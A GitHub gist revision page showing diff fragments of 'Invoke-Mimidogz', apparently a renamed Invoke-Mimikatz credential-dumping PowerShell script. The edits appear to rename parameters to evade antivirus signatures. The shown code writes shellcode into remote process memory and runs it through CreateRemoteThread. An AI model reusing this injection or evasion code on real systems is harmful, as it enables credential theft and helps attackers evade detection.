Last active
June 6, 2018 15:06
-
-
Save xsuperbug/ac952e7b84c9ccdb1f183b3480245e4e to your computer and use it in GitHub Desktop.
Revisions
-
xsuperbug revised this gist
Jun 6, 2018 . 1 changed file with 6 additions and 7 deletions.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -2,7 +2,6 @@ function Invoke-Mimidogz { [CmdletBinding(DefaultParameterSetName="DumpCred")] Param( [Parameter(Position = 0)] @@ -1189,7 +1188,7 @@ $RemoteScriptBlock = { Throw "Unable to write shellcode to remote process memory." } $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions #- $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) if ($Result -ne 0) { @@ -1210,7 +1209,7 @@ $RemoteScriptBlock = { } else { [IntPtr]$RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $LoadLibraryAAddr -NotTodayPal $RImportDllPathPtr -Win32Functions $Win32Functions #- $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) if ($Result -ne 0) { @@ -1340,7 +1339,7 @@ $RemoteScriptBlock = { Throw "Unable to write shellcode to remote process memory." } $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions #- $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) if ($Result -ne 0) { @@ -2345,7 +2344,7 @@ $RemoteScriptBlock = { Throw "Unable to write shellcode to remote process memory." } $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions #- $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) if ($Result -ne 0) { @@ -2610,7 +2609,7 @@ $RemoteScriptBlock = { $VoidFuncAddr = Add-SignedIntAsUnsigned $VoidFuncAddr $RemotePEHandle $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $VoidFuncAddr -Win32Functions $Win32Functions #- } @@ -2681,4 +2680,4 @@ Function Main } Main } -
xsuperbug revised this gist
Jun 6, 2018 . 1 changed file with 25 additions and 6 deletions.There are no files selected for viewing
-
xsuperbug revised this gist
Jun 6, 2018 . 2 changed files with 2665 additions and 2683 deletions.There are no files selected for viewing
-
xsuperbug created this gist
Jun 6, 2018 .There are no files selected for viewing